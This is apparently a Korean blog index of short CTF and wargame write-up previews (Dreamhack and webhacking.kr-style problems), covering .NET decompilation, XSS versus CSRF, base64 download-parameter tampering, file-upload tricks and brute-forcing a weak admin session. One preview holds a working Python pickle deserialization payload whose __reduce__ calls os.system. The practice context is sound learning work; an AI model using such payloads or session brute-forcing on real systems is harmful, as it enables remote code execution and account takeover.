호그와트 357

드림핵 you shall pass

문제 파일을 실행하기 위해서는 .NET Framework 버전 4 이상이 필요합니다. 문제의 조건에 이렇게 써있다 .net 디컴파일러 dotpeek을 이용하면 ilGenerator.MarkLabel(label2); ilGenerator.Emit(OpCodes.Ldloc_0); // 문자배열 ilGenerator.Emit(OpCodes.Ldloc_3); // i ilGenerator.Emit(OpCodes.Ldelema, typeof (char)); // &문자배열[i] ilGenerator.Emit(OpCodes.Dup); // &문자배열[i]의 복제 ilGenerator.Emit(OpCodes.Ldind_U2); // 문자배열[i] ilGenerator.Emit(OpCodes.Ldloc_0); ilGe..

호그와트 2022.01.18

드림핵 web-deserialize python

import pickle import os import base64 class TestClass: def __reduce__(self): return os.system, ("read flag.txt", ) ClassA = TestClass() # ClassA 직렬화 ClassA_dump = base64.b64encode(pickle.dumps(ClassA)) print(ClassA_dump) # 역직렬화 print(pickle.loads(base64.b64decode(ClassA_dump))) ​ 확실하지는 않지만 "read flag.txt" 쪽 내용을 잘 바꿔주면 원하는 flag를 얻을 수 있는 것으로 추정된다 근거는 다음의 2가지이다 1 web상에서도 된다 (rce가 필요 없다) 2 이 내용 자체가 ..

호그와트 2022.01.18

XSS와 CSRF의 차이점 (드림핵에서 누가 물어보길래)

XSS랑 CSRF랑 많이 비슷하긴 하죠 저도 처음 볼 때 "그게 그거 아냐?" 이런 생각을 했었던 기억이 납니다 (XSS나 CSRF나 이름을 잘 보시면 '크로스 사이트'가 똑같이 들어갑니다 그리고 둘 다 피싱을 사용하는 경우가 있습니다 -XSS는 종류에 따라 다름 그렇기 때문에 헷갈리는 건 어느정도는 당연하다고 할 수 있습니다) ​ 리플렉티드 크로스 사이트 스크립팅 취약점과 CSRF 취약점이 워낙 개념적으로 근접해서 혼동되긴 하지만, 둘의 직접적인 차이는 피싱 이후 진행되는 과정에 있다고 할 수 있습니다 (공통점이나 본질적인 내용은 이미 아실 거라고 전제하고 위의 문장을 쓴 거에요) ​ 조금 더 예를 들어서 설명해볼게요 php 코드에 $message = htmlspecialchars( $message )..

호그와트 2022.01.03

웹해킹 58번 문제

$(function () { var username = "guest"; var socket = io(); $('form').submit(function(e){ e.preventDefault(); socket.emit('cmd',username+":"+$('#m').val()); $('#m').val(''); return false; }); socket.on('cmd', function(msg){ $('#messages').append($('').text(msg)); }); }); ​ 원래의 자바스크립트를 까보면 위의 내용이 나온다 솔직히 맨 처음에는 console이 나와서 그에 맞는 명령어를 입력해주어야 되는 건가 싶어서 이거 저거 하나씩 입력했었다 심지어 os.system까지 갔었다 ls 등 여러 명령..

호그와트 2021.12.25

웹해킹 42번 문제

문제를 직접 보니 no 2, 1하고 test와 flag 달랑 2개만 나와있다는 것을 알 수 있다 일단 구성 자체는 매우 쉬워보이는데 솔직히 나는 이 구성을 본 순간 test를 통해서 flag를 유추해낼 수 있다는 느낌이 들었고 안전하게 버프 스위트를 열어보았다 ​ 버프 스위트로 프록시를 탈취한 상태에서 test를 까보니 ?down=dGVzdC50eHQ=라는 식으로 url에 붙는 것을 알 수 있었다 저걸 보자마자 상당히 익숙한 값이라는 느낌이 왔고 바로 기본 중의 기본인 base64로 디코딩을 해봤더니 아니나 다를까 test.txt라는 값이 바로 딱 떨어지듯이 나왔다 따라서 역으로 유추해서 flag.docx를 base64로 인코딩하면 flag를 얻을 수 있지 않을까 하는 추측이 들었고 바로 실행했더니 fl..

호그와트 2021.12.25

웹해킹 41번 문제

문제 자체는 매우 간단하다 누가 봐도 어택 벡터는 하나이기 때문이다 파일을 올려서 뚫는 것이 문제의 핵심이다 웹쉘 명령어 실행 등을 고려해봤으나 딱히 실행 되지는 않았다 파일을 올리는 것의 프록시를 따고 파일 네임 오버플로우를 유도해보았다 그러자 cp에 저장된 주소가 떴고 그 주소를 url에 붙이고 뒤에 test까지 붙이니 flag가 떴다 문제 자체는 매우 쉬운 문제였다

호그와트 2021.12.25

드림핵 session 문제 간단한 풀이

요즘 session 질문이 계속 드림핵에 올라오길래 그냥 아예 글을 새로 썼다. 그래도 쿠키/세션 로드맵을 읽어보는걸 추천한다. ​ os.urandom(1).hex() 이 부분이 문제의 핵심이다. 해당 워게임 프로그램을 다운받아서 보면 알 수 있듯이 admin 세션에 대한 값이 고작 os.urandom(1).hex()로 구성되어 있음을 알 수 있다. 이 내용을 비슷하게라도 프로그램 해본 사람들은 알겠지만, 이건 바로 '알파벳 혹은 숫자로 이루어진 2개의 랜덤값'을 뜻한다. 이 값을 admin의 세션에 붙이겠다는 뜻이다. 따라서 admin 권한을 획득하려면 그 2개의 랜덤값을 브루트포싱만 해주면 된다. 그 브루트 포싱 구현을 제일 쉽게 해 줄 수 있는 건 버프 스위트이니 가능하면 다운 받는 것이 좋다. 그..

호그와트 2021.12.24